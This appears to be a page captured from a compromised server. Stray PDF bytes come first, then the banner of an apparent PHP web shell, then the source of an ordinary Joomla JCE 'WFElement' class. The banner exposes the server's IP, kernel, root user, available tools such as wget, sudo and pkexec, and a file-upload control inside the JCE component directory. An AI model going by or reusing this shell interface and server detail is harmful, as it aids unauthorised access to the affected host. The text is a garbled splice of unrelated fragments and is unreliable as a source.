%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/old/administrator/components/com_jce/classes/ |
Upload File : |
<?php /** * @package JCE * @copyright Copyright (c) 2009-2016 Ryan Demmer. All rights reserved. * @license GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html * JCE is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. */ defined('_JEXEC') or die; /** * Parameter base class * * The WFElement is the base class for all WFElement types * @since 2.2.5 */ class WFElement extends JObject { /** * Element name * * This has to be set in the final * renderer classes. * * @var string */ protected $_name = null; /** * Reference to the object that instantiated the element * * @var object */ protected $_parent = null; /** * Constructor * * @param string $parent Element parent */ public function __construct($parent = null) { $this->_parent = $parent; } /** * Get the element name * * @return string type of the parameter */ public function getName() { return $this->_name; } /** * Method to render an xml element * * @param string &$xmlElement Name of the element * @param string $value Value of the element * @param string $control_name Name of the control * * @return array Attributes of an element */ public function render(&$xmlElement, $value, $control_name = 'params') { $name = (string) $xmlElement->attributes()->name; $label = (string) $xmlElement->attributes()->label; $descr = (string) $xmlElement->attributes()->description; //make sure we have a valid label $label = $label ? $label : $name; $result[0] = $this->fetchTooltip($label, $descr, $xmlElement, $control_name, $name); $result[1] = $this->fetchElement($name, $value, $xmlElement, $control_name); $result[2] = $descr; $result[3] = $label; $result[4] = $value; $result[5] = $name; return $result; } /** * Method to get a tool tip from an XML element * * @param string $label Label attribute for the element * @param string $description Description attribute for the element * @param JXMLElement &$xmlElement The element object * @param string $control_name Control name * @param string $name Name attribut * * @return string */ public function fetchTooltip($label, $description, &$xmlElement, $control_name = '', $name = '') { $output = '<label id="' . $control_name . $name . '-lbl" for="' . $control_name . $name . '"'; $label = WFText::_($label); if ($description) { $description = WFText::_($description); if (strpos($description, '::') === false) { $title = $label . '::' . $description; } else { $title = $description; } $output .= ' class="wf-tooltip" title="' . $title . '">'; } else { $output .= '>'; } $output .= $label . '</label>'; return $output; } /** * Fetch an element * * @param string $name Name attribute of the element * @param string $value Value attribute of the element * @param JXMLElement &$xmlElement Element object * @param string $control_name Control name of the element * * @return void */ public function fetchElement($name, $value, &$xmlElement, $control_name) { } }